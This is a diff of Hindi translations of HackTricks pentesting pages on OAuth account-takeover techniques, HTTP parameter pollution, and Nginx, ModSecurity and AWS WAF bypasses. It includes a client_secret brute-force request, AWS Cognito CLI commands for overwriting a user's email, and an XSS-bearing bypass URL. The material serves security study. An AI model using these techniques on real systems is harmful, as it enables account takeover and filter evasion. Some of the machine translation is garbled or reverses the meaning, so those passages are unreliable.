एक सामान्य सुरक्षा दोष उत्पन्न होता है जब एप्लिकेशन गलती से अधिकारी तरफ `access_token` के लिए अधिकृति `code` का विनिमय संभालती है बजाय सर्वर-तरफ। यह गलती `client_secret` का प्रकट होने का कारण बनती है, हमलावर को आवेदन के रूप में `access_tokens` उत्पन्न करने की अनुमति देती है। इसके अतिरिक्त, सामाजिक इंजीनियरिंग के माध्यम से, हमलावर OAuth अधिकृति में अतिरिक्त स्कोप जोड़कर अधिकारों को बढ़ा सकते हैं, आवेदन की विश्वसनीय स्थिति का और भी शोषण करते हुए
### क्लाइंट सीक्रेट ब्रूटफ़ोर्स
आप **आईडेंटिटी प्रदाता के क्लाइंट_सीक्रेट** का **ब्रूटफ़ोर्स** करने का प्रयास कर सकते हैं ताकि खातों को चुराने की कोशिश कर सकें।\
BF के लिए अनुरोध निम्नलिखित दिख सकता है:
आप सेवा प्रदाता के **क्लाइंट_सीक्रेट** का **ब्रूटफ़ोर्स** करने की कोशिश कर सकते हैं जो पहचान प्रदाता के साथ खातों की चोरी करने की कोशिश कर सकते हैं।\
BF के लिए अनुरोध निम्नलिखित तरह दिख सकता है:
```
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
@ -118,29 +123,29 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Referer Header leaking Code + State
### Referer Header लीक कोड + स्थिति
जब क्लाइंट के पास **कोड और स्थिति** होती है, और यदि वह किसी अलग पृष्ठ पर ब्राउज़ करते समय **रेफरर हेडर में प्रतिबिम्बित होती है**, तो यह वंशानुक्रमित होता है।
जब क्लाइंट के पास **कोड और स्थिति** होती है, और वह किसी अलग पेज पर ब्राउज़ करते समय **Referer हेडर में प्रतिबिम्बित होती है**, तो यह वंशानुक्रमित होता है।
### Access Token Stored in Browser History
### ब्राउज़र इतिहास में एक्सेस टोकन संग्रहीत
**ब्राउज़र इतिहास में जाएं और देखें कि एक्सेस टोकन वहाँ सहेजा गया है या नहीं**।
### Everlasting Authorization Code
### अनंत अधिकृति कोड
**अधिकृतीकरण कोड को केवल कुछ समय तक जीवित रहना चाहिए ताकि हमलावर इसे चुरा और उसका उपयोग कर सके** के समय खिड़की को सीमित करने के लिए।
**अधिकृति कोड को केवल कुछ समय तक जीवित रहना चाहिए ताकि हमलावार उसे चुरा और उसका उपयोग कर सके** का समय खिड़की सीमित करने के लिए।
### Authorization/Refresh Token not bound to client
### अधिकृति/ताजगी टोकन क्लाइंट से नहीं बाँधा गया
यदि आप **अधिकृतीकरण कोड प्राप्त कर सकते हैं और उसे एक अलग क्लाइंट के साथ उपयोग कर सकते हैं तो आप अन्य खातों को अधिकृत कर सकते हैं**
अगर आप **अधिकृति कोड प्राप्त कर सकते हैं और उसे एक अलग क्लाइंट के साथ उपयोग कर सकते हैं** तो आप अन्य खातों को ले सकते हैं
### Happy Paths, XSS, Iframes & Post Messages to leak code & state values
### खुश पथ, XSS, आइफ्रेम्स और पोस्ट मैसेजेस कोड और स्थिति मानों को लीक करने के लिए
**[इस पोस्ट की जाँच करें](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
इस बग बाउंटी रिपोर्ट में: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) आप देख सकते हैं कि **AWS Cognito** जो उपयोगकर्ता को वापस देता है, उसमें **पर्याप्त अनुमतियाँ हो सकती हैं ताकि उपयोगकर्ता डेटा को अधिलेखित कर सके**। इसलिए, यदि आप **एक अलग उपयोगकर्ता ईमेल के लिए उपयोगकर्ता ईमेल बदल सकते हैं**, तो आप दूसरों के खातों को **अधिकृत** कर सकते हैं
इस बग बाउंटी रिपोर्ट में: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) आप देख सकते हैं कि **AWS Cognito** जो टोकन उपयोगकर्ता को वापस देता है, उसमें **पर्याप्त अनुमतियाँ हो सकती हैं ताकि उपयोगकर्ता डेटा को अधिलेखित कर सके**। इसलिए, अगर आप **एक अलग उपयोगकर्ता ईमेल के लिए उपयोगकर्ता ईमेल बदल सकते हैं**, तो आप दूसरों के खातों को **ले सकते हैं**
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -159,37 +164,37 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
```
### अन्य ऐप्स टोकन का दुरुपयोग <a href="#bda5" id="bda5"></a>
[**इस लेख में उल्लिखित**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts) के अनुसार, OAuth फ्लो जो **टोकन** (और कोड नहीं) प्राप्त करने की उम्मीद करते हैं, वे संकेत नहीं करते हैं कि टोकन ऐप का है।
[**इस लेख में उल्लिखित**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts) के अनुसार, ओआथ फ्लो जो **टोकन** (और कोड) प्राप्त करने की उम्मीद करते हैं, वे संकेत नहीं करते कि टोकन ऐप्लिकेशन का है या नही, वे संकेत हो सकते हैं यदि वे यह नहीं जांचते कि टोकन ऐप्लिकेशन का है।
यह इसलिए है क्योंकि एक **हमलावर** एक **ऐप्लिकेशन समर्थन कर सकता है जो OAuth का समर्थन करता है और फेसबुक के साथ लॉगिन कर सकता है** (उदाहरण के लिए) अपने खुद के ऐप्लिकेशन में। फिर, एक बार जब एक पीड़ित फेसबुक में **हमलावर क ऐप्लिकेशन** में लॉगिन करता है, हमलावर उपयोगकर्ता के **OAuth टोकन को प्राप्त कर सकता है जो उसके ऐप्लिकेशन को दिया गया है, और उसका उपयोग करके पीड़ित OAuth ऐप्लिकेशन में लॉगिन कर सकता है जिसमें पीड़ित उपयोगकर्ता टोकन है**।
यह इसलिए है क्योंकि एक **हमलावर** एक **ओआथ का समर्थन करने वाली ऐप्लिकेशन बना सकता है और फेसबुक में लॉगिन कर सकता है** (उदाहरण के लिए) अपनी खुद की ऐप्लिकेशन में। फिर, एक बार जब एक पीड़ित फेसबुक में **हमलावर क ऐप्लिकेशन** में लॉगिन करता है, हमलावर उपयोगकर्ता के **ओआथ टोकन को प्राप्त कर सकता है जो उसकी ऐप्लिकेशन को दिया गया है, और उसका उपयोग करके पीड़ित ओआथ ऐप्लिकेशन में लॉगिन कर सकता है जिसमें पीड़ित उपयोगकर्ता टोकन है**।
{% hint style="danger" %}
इसलिए, अगर हमलावर को उपयोगकर्ता को अपने खुद के OAuth ऐप्लिकेशन में पहुंचने की अनुमति मिल जाती है, तो वह उपयोगकर्ता के खाते पर कब्जा कर सकता है जिन ऐप्लिकेशन को टोकन की उम्मीद है और यह नहीं जांच रहे हैं कि क्या टोकन उनके ऐप आईडी को प्रदान किया गया था।
इसलिए, यदि हमलावर को उपयोगकर्ता को अपनी ओआथ ऐप्लिकेशन में लॉगिन करने की अनुमति मिल जाती है, तो वह उपयोगकर्ता के खाते पर कब्जा कर सकता है जिन ऐप्लिकेशनों की अपेक्षा टोकन की है और यह नहीं जांचते कि क्या टोकन उनकी ऐप्लिकेशन आईडी को प्रदान किया गया था या नहीं
{% endhint %}
### दो लिंक और कुकी <a href="#bda5" id="bda5"></a>
[**इस लेख में उल्लिखित**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) के अनुसार, एक पीड़ित को एक पृष्ठ खोलने के लिए संभव था जिसमें **returnUrl** हमलावर के होस्ट को पॉइंट कर रहा था। यह जानकारी एक **कुकी में संग्रहित होगी (RU)** और **एक बाद का कदम** में **प्रॉम्प्ट** **उपयोगकर्ता से पूछेगा** कि क्या वह उस हमलावर के होस्ट को एक्सेस देना चाहता है।
[**इस लेख में उल्लिखित**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) के अनुसार, एक पीड़ित को एक पृष्ठ खोलने के लिए संभव था जिसमें एक **returnUrl** हमलावर के होस्ट की ओर प्वाइंट कर रहा हो। यह जानकारी एक कुकी में संग्रहित होगी (आरयू) और एक **बाद में कदम** में **प्रॉम्प्ट** **उपयोगकर्ता से पूछेगा** कि क्या वह उस हमलावर के होस्ट को एक्सेस देना चाहता है।
इस प्रॉम्प्ट को अनदेखा करने के लिए, एक टैब खोलना संभव था जो इस RU कुकी को सेट करेगा जिसमें **returnUrl** होगा, प्रॉम्प्ट दिखाई नहीं देगा, और एक नया टैब खोलेगा जिसमें वह मान्यता नहीं होगी। फिर, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी उसे सेट कर देगी, इसलिए **टोकन हमलावर के होस्ट में भेजा जाएगा** पुनर्निर्देशन में।
इस प्रॉम्प्ट को अनदेखा करने के लिए, एक ऐसा ओआथ फ्लो आरंभ करने के लिए एक टैब खोलना संभव था जो इस आरयू कुकी को सेट करेगा उस **returnUrl** का उपयोग करके, प्रॉम्प्ट दिखाई नहीं देगा, और एक नया टैब खोलेगा जिसमें उस मान के बिना। फिर, **प्रॉम्प्ट हमलावर के होस्ट के बारे में सूचित नहीं करेगा**, लेकिन कुकी उसे सेट कर देगी, इसलिए **टोकन हमलावर के होस्ट में भेजा जाएगा** पुनर्निर्देशन में।
### SSRF पैरामीटर <a href="#bda5" id="bda5"></a>
**[इस अनुसंधान की जांच करें](https://portswigger.net/research/hidden-oauth-attack-vectors) इस तकनीक के अधिक विवरण के लिए।**
OAuth में डायनामिक क्लाइंट रजिस्ट्रेशन SSRF हमलों के लिए एक कम ज्ञात लेकिन महत्वपूर्ण वेक्टर के रूप में काम करता है, विशेष रूप से **सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF)** हमलों के लिए। इस एंडपॉइंट की मदद से OAuth सर्वर को क्लाइंट ऐप्लिकेशन के बारे में विवरण प्राप्त होता है, जिसमें संवेदनशील URL शामिल हो सकते हैं जो शोषित किए जा सकते हैं
ओआथ में डायनामिक क्लाइंट रजिस्ट्रेशन SSRF हमलों के लिए एक कम अवधारणात्मक लेकिन महत्वपूर्ण वेक्टर के रूप में काम करता है, विशेष रूप से **सर्वर-साइड रिक्वेस्ट फॉर्जरी (SSRF)** हमलों के लिए। इस एंडपॉइंट की ओआथ सर्वर को क्लाइंट ऐप्लिकेशन के बारे में विवरण प्राप्त करने की सेवा प्रदान करती है, संवेदनशील यूआरएल जिन्हें शोषित किया जा सकता है
**मुख्य बिंदु:**
- **डायनामिक क्लाइंट रजिस्ट्रेशन** अक्सर `/रजिस्टर` के लिए मैप किया जाता है और `client_name`, `client_secret`, `redirect_uris`, और लोगो या JSON वेब कुंज सेट (JWKs) के लिए URL जैसे विवरण स्वीकार करता है POST अनुरोध के माध्यम से।
- **डायनामिक क्लाइंट रजिस्ट्रेशन** अक्सर `/रजिस्टर` के लिए मैप किया जाता है और `client_name`, `client_secret`, `redirect_uris`, और लोगो या जेसन वेब कुंज (JWKs) के लिए यूआरएल जैसे विवरण स्वीकार करता है POST अनुरोधों के माध्यम से।
- यह सुविधा **RFC7591** और **OpenID Connect Registration 1.0** में निर्धारित विनिमयों का पालन करती है, जिसमें SSRF के लिए संभावित बाधापूर्ण पैरामीटर शामिल हैं।
- पंजीकरण प्रक्रिया कई तरीकों से अनजाने में सर्वर को SSRF के लिए उजागर कर सकती है:
- **`logo_uri`**: क्लाइंट ऐप्लिकेशन के लोगो के लिए एक URL जो सर्वर द्वारा प्राप्त किया जा सकता है, SSRF को ट्रिगर कर सकता है या यदि URL का गलत ढंग से निपटाया जाता है तो XSS में ले जा सकता है।
- **`logo_uri`**: क्लाइंट ऐप्लिकेशन के लोगो के लिए एक URL जो सर्वर द्वारा प्राप्त किया जा सकता है, SSRF को ट्रिगर कर सकता है या यदि यूआरएल को गलत ढंग से संभाला जाता है तो XSS में ले जा सकता है।
- **`jwks_uri`**: क्लाइंट के JWK दस्तावेज़ के लिए एक URL, जो यदि दुरुपयोग से तैयार किया गया है, तो सर्वर को एक हमलावर नियंत्रित सर्वर को आउटबाउंड अनुरोध करने के लिए कारण बना सकता है।
- **`sector_identifier_uri`**: `redirect_uris`ा एक JSON अर्राय को संदर्भित करता है, जिसे सर्वर शोषित कर सकता है, एक SSRF अवसर बना सकता है।
- **`request_uris`**: क्लाइंट के लिए अनुमत अनुरोध URIs की सूची, जो यदि सर्वर इन URIs को शुरू में शोषित करता है, तो इन URIs का शोषण किया जा सकता है।
- **`sector_identifier_uri`**: `redirect_uris`े एक JSON अर्राय का संदर्भ देता है, जिसे सर्वर शोषित कर सकता है, एक SSRF अवसर बना सकता है।
- **`request_uris`**: क्लाइंट के लिए अनुमत अनुरोध यूआरआई की सूची, जिसे यदि सर्वर अधिकृत करता है, तो उन यूआरआई का उपयोग करने के दौरान SSRF को उत्पन्न किया जा सकता है।
**शोषण रणनीति:**
- SSRF को `logo_uri`, `jwks_uri`, या `sector_identifier_uri` जैसे पैरामीटर में दुपयोग से नए कलाइंट को पंीकृत करके ट्रिगर किया जा सकता है।
- `request_uris` के माध्यम से सीधा दुरुपयोग श्वेतसूची नियंत्रणों द्वारा कम किया जा सकता है, लेकिन प्री-पंजीकृत, हमलावर नियंत्रित `request_uri` प्रदान करने से अधिकारीकरण चरण के दौरान SSRF को सुविधाजनक बना सकता है।
- SSRF को नए क्लाइंट को दर्ज करके विनाशकारी यूआरएल के साथ पैरामीटर जैसे `logo_uri`, `jwks_uri`, या `sector_identifier_uri` में दर्ज करके ट्रिगर किया जा सकता है।
- `request_uris` के माध्यम से सीधा शोषण को सफलतापूर्वक किया जा सकता है यदि सर्वर अधिकृत कंट्रोल्स के द्वारा रोका जाता है, एक पूर्व-पंजीकृत, हमलावर नियंत्रित `request_uri` प्रदान करने से अधिकृत किय जा सकता है जो प्माणीकरण चरण के दौरान SSRF को सुविधाजनक बना सकता है।

View file

@ -2,21 +2,26 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* यदि आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# HTTP पैरामीटर प्रदूषण (HPP) अवलोकन
HTTP पैरामीटर प्रदूषण (HPP) एक तकनीक है जहाँ हमलावर HTTP पैरामीटर को मनिपुलेट करते हैं ताकि एक वेब एप्लिकेशन का व्यवहार अनजाने तरीके से बदल जाए। इस मनिपुलेशन को HTTP पैरामीटर जोड़कर, संशोधित करके, या डुप्लिकेट करके किया जाता है। इन मनिपुलेशन के प्रभाव को उपयोगकर्ता को सीधे दिखाई नहीं देता है लेकिन इसका सर्वर साइड पर एप्लिकेशन के कार्यक्षमता को काफी बदल सकता है, जिससे प्रभाव उपयोगकर्ता साइड पर दिखाई देते हैं।
HTTP पैरामीटर प्रदूषण (HPP) एक तकनीक है जहाँ हमलावर HTTP पैरामीटर को मानवीय तरीके से एक वेब एप्लिकेशन के व्यवहार को बदलने के लिए मनिपुलेट करते हैं। इस मनिपुलेशन को HTTP पैरामीटर जोड़कर, संशोधित करके, या डुप्लिकेट करके किया जाता है। इन मनिपुलेशनों का प्रभाव सीधे उपयोगकर्ता को दिखाई नहीं देता है लेकिन सर्वर साइड पर एप्लिकेशन के कार्यक्षमता को काफी बदल सकता है, जिससे उपयोगकर्ता साइड पर दिखाई देने वाले प्रभाव होते हैं।
## HTTP पैरामीटर प्रदूषण (HPP) का उदाहरण
@ -28,25 +33,52 @@ HTTP पैरामीटर प्रदूषण (HPP) एक तकनीक
- **मनिपुलेटेड URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
लेन-देन को `accountA` की बजाय `accountC` पर गलती से चार्ज किया जा सकता है, जो HPP की संभावना को दिखाता है कि लेन-देन या अन्य कार्यक्षमताओं को मनिपुलेट किया जा सकता है जैसे पासवर्ड रीसेट, 2FA सेटिंग्स, या API कुंजी अनुरोध।
लेन-देन को `accountA` की बजाय `accountC` पर गलती से चार्ज किया जा सकता है, जो HPP की संभावना को दिखाता है कि लेन-देन या अन्य कार्यक्षमताओं को मनिपुलेट करने की क्षमता है जैसे पासवर्ड रीसेट, 2FA सेटिंग्स, या API कुंजी अनुरोध।
### **प्रौद्योगिकी-विशिष्ट पैरामीटर पार्सिंग**
- पैरामीटर कैसे पार्स किए जाते हैं और प्राथमिकता कैसे दी जाती है, इस पर निर्भर करता है कि नीचे लेटर वेब प्रौद्योगिकी कैसे प्रभावित होती है, HPP कैसे उत्पन्न किया जा सकता है।
- पैरामीटर कैसे पार्स किए जाते हैं और प्राथमिकता कैसे दी जाती है, इस पर निर्भर करता है कि नीचे लेटर वेब प्रौद्योगिकी कैसे प्रभावित होती है, HPP कैसे शोषित किया जा सकता है।
- [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) जैसे उपकरण इन प्रौद्योगिकियों और उनके पार्सिंग व्यवहारों की पहचान करने में मदद करते हैं।
## PHP और HPP शोषण
**OTP मनिपुलेशन मामला:**
**OTP शोषण मामला:**
- **संदर्भ:** एक लॉगिन तंत्र जिसमें एक वन-टाइम पासवर्ड (OTP) की आवश्यकता होती है, का शोषण किया गया था।
- **तरीका:** Burp Suite जैसे उपकरणों का उपयोग करके OTP अनुरोध को अंतर्गत करके, हमलावर ने HTTP अनुरोध में `email` पैरामीटर को डुप्लिकेट किया।
- **परिणाम:** OTP, जो प्रारंभिक ईमेल के लिए था, बजाय मनिपुलेटेड अनुरोध में दिए गए दूसरे ईमेल पते पर भेजा गया। यह दोष अधिकृत सुरक्षा उपाय को चकनाचूर करके अनधिकृत पहुंच की अनुमति देता था।
- **परिणाम:** OTP, जो प्रारंभिक ईमेल के लिए था, बजाय मनिपुलेटेड अनुरोध में निर्धारित दूसरे ईमेल पते पर भेजा गया। यह दोष अधिकृत सुरक्षा उपाय को चकनाचूर करके अनधिकृत पहुंच की अनुमति देता था।
यह परिदृश्य एप्लिकेशन के बैकएंड में एक महत्वपूर्ण अवधारणा को उजागर करता है, जो OTP उत्पन्न करने के लिए पहले `email` पैरामीटर को प्रसंस्करण किया लेकिन डिलीवरी के लिए अंतिम का उपयोग किया।
यह परिदृश्य एक गंभीर अवधारणा को प्रकट करता है जो एप्लिकेशन के बैकएंड में हाथ में था, जो OTP उत्पन्न करने के लिए पहले `email` पैरामीटर को प्रसंस्करण किया था लेकिन डिलीवरी के लिए अंतिम का उपयोग किया गया था।
**API कुंजी मनिपुलेशन मामला:**
**API कुंजी शोषण मामला:**
- **परिदृश्य:** एक एप्लिकेशन उपयोगकर्ताओं को उनकी API कुंजी को प्रोफ़ाइल सेटिंग्स पृष्ठ के माध्यम से अपडेट करने की अनुमति देता है।
- **हमला वेक्टर:** हमलावर को पता चलता है कि POST अनुरोध में एक अतिरिक्त `api_key` पैरामीटर जोड़ने से, वे API कुंजी अपडेट कार्यक्षमता को मनिपुलेट कर सकते हैं।
- **तकनीक:** Burp Suite जैसे उपकरण का उपयोग करके, हमलावर एक अनुरोध तैयार करता है जिसमें दो `api_key` पैरामीटर शामिल हैं: एक वैध और एक दुर्भाग्यपूर्ण। सर्वर, केवल अंतिम घटना को प्रसंस्करण करते हुए, API कुंजी को हमलावर द्वारा प्रदत्त मान पर अपड
- **हमला वेक्टर:** एक हमलावर यह खोजता है कि POST अनुरोध में एक अतिरिक्त `api_key` पैरामीटर जोड़कर, वे API कुंजी अपडेट कार्यक्षमता को मनिपुलेट कर सकते हैं।
- **तकनीक:** Burp Suite जैसे उपकरण का उपयोग करके, हमलावर एक अनुरोध बनाता है जिसमें दो `api_key` पैरामीटर शामिल हैं: एक वैध और एक दुर्भाग्यपूर्ण। सर्वर, केवल अंतिम घटना को प्रसंस्करण करते हुए, API कुंजी को हमलावर द्वारा प्रदत्त मान के लिए अपडेट करता है।
- **परिणाम:** हमलावर विक्टिम की API कार्यक्षमता पर नियंत्रण प्राप्त करता है, संभावित रूप से अनधिकृत रूप से व्यक्तिगत डेटा तक पहुंचता है या संशोधित करता है।
यह उदाहरण और अधिक जोर देता है सुरक्षित पैरामीटर हैंडलिंग की आवश्यकता पर, विशेष रूप से ऐसे विशेषताओं में जैसे API कुंजी प्रबंधन।
## पैरामीटर पार्सिंग: फ्लास्क vs. PHP
वेब प्रौद्योगिकियाँ डुप्लिकेट HTTP पैरामीटर को कैसे हैंडल करती हैं, इसका प्रभाव होता है, जिससे उनकी HPP हमलों के प्रति संवेदनशीलता पर प्रभाव पड़ता है:
- **फ्लास्क:** पहले पैरामीटर मान को अपनाता है, जैसे कि `a=1` एक क्वेरी स्ट्रिंग `a=1&a=2` में, पहले उदाहरण को अधिकतम प्राथमिकता देता है।
- **PHP (एपाची HTTP सर्वर पर):** उल्टे, अंतिम पैरामीटर मान को प्राथमिकता देता है, दिए गए उदाहरण में `a=2` का चयन करता है। यह व्यवहार अनजाने में HPP शोषण को सुविधाजनक बना सकता है, हमलावर के मनिपुलेटेड पैरामीटर को मूल के ऊपर सम्मानित करके।
## संदर्भ
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि **आपकी कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलो

View file

@ -1,4 +1,4 @@
# प्रॉक्सी / WAF सुरक्षा अवरोध दौर करें
# प्रॉक्सी / WAF सुरक्षा अवरोध उलटाव
<details>
@ -6,7 +6,7 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
@ -14,9 +14,13 @@ HackTricks का समर्थन करने के अन्य तरी
</details>
## Nginx ACL नियमों को पथनाम मैनिपुलेशन के साथ दौर करें <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
तकनीकें [इस शोध से](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)।
{% embed url="https://websec.nl/" %}
## Nginx ACL नियमों को पथनाम मैनिपुलेशन के साथ उलटाव करें <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
तकनीकें [इस शोध से](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Nginx नियम उदाहरण:
```plaintext
@ -71,7 +75,7 @@ include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
```
Nginx को `/admin.php` तक पहुंचने को रोकने के लिए कॉन्फ़िगर किया गया है लेकिन इसे `/admin.php/index.php` तक पहुंचकर इसे बापास किया जा सकता है।
Nginx को `/admin.php` तक पहुंचने को रोकने के लिए कॉन्फ़िगर किया गया है लेकिन इसे `/admin.php/index.php` तक पहुंचकर इसे बापास किया जा सकता है।
### कैसे रोकें
```plaintext
@ -86,9 +90,9 @@ deny all;
[**इस पोस्ट में**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) बताया गया है कि ModSecurity v3 (3.0.12 तक), **`REQUEST_FILENAME`** वेरिएबल को गलत ढंग से लागू किया गया था जिसमें एक्सेस किया गया पथ होना चाहिए था (पैरामीटर्स की शुरुआत तक)। यह इसलिए है क्योंकि यह पथ प्राप्त करने के लिए एक URL डीकोड करता था।\
इसलिए, Mod Security में `http://example.com/foo%3f';alert(1);foo=` जैसा अनुरोध करने पर समझेगा कि पथ केवल `/foo` है क्योंकि `%3f` को `?` में बदल देता है जो URL पथ को समाप्त करता है, लेकिन वास्तव में सर्वर को प्राप्त होने वाला पथ `/foo%3f';alert(1);foo=` होगा।
इस बग से वेरिएबल्स `REQUEST_BASENAME` और `PATH_INFO` भी प्रभावित हुए।
इस बग से `REQUEST_BASENAME` और `PATH_INFO` भी प्रभावित हुए थे
Mod Security के संस्करण 2 में भी कुछ समान घटना घटित हुई थी जिसने बैकअप फ़ाइल्स (जैसे `.bak`) से संबंधित विशेष एक्सटेंशन वाली फ़ाइलों तक पहुंचने को रोकने वाली सुरक्षा को छलकरने की अनुमति दी थी, बस डॉट URL कोडेड करके `%2e` भेजकर, उदाहरण के लिए: `https://example.com/backup%2ebak`
Mod Security के संस्करण 2 में भी कुछ ऐसा ही हुआ था जिससे एक सुरक्षा को छलने की अनुमति दी गई थी जो बैकअप फ़ाइलें संबंधित विस्तारों वाली फ़ाइलों तक पहुंचने से रोकती थी (जैसे `.bak`) बस डॉट URL कोडेड करके `%2e` भेजकर, उदाहरण के लिए: `https://example.com/backup%2ebak`
## AWS WAF ACL को छलकरना <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
@ -96,7 +100,7 @@ Mod Security के संस्करण 2 में भी कुछ समा
[इस शोध](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) में उल्लिखित है कि AWS WAF नियमों को HTTP हेडर्स पर लागू करने को छलकरना संभव था एक "अविकृत" हेडर भेजकर जो AWS द्वारा सही ढंग से विश्लेषित नहीं किया गया था लेकिन बैकएंड सर्वर द्वारा किया गया था।
उदाहरण के लिए, निम्नलिखित अनुरोध भेजकर एक SQL इन्जेक्शन के साथ:
उदाहरण के लिए, निम्नलिखित अनुरोध भेजकर एक SQL इन्जेक्शन के साथ हेडर X-Query:
```http
GET / HTTP/1.1\r\n
Host: target.com\r\n
@ -105,23 +109,28 @@ X-Query: Value\r\n
Connection: close\r\n
\r\n
```
यह AWS WAF को अनदेखा करना संभव था क्योंकि यह समझ नहीं पा रहा था कि अगली पंक्ति हेडर के मान का हिस्सा है जबकि NODEJS सर्वर ऐसा कर रहा था (यह सुधारा गया था)।
यह संभव था कि AWS WAF को उस वक्त उलटा दिया जा सकता था क्योंकि यह समझ नहीं पाता था कि अगली पंक्ति हेडर के मान का हिस्सा है जबकि NODEJS सर्वर ऐसा करा था (यह सुधारा गया था)।
## संदर्भ
* [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
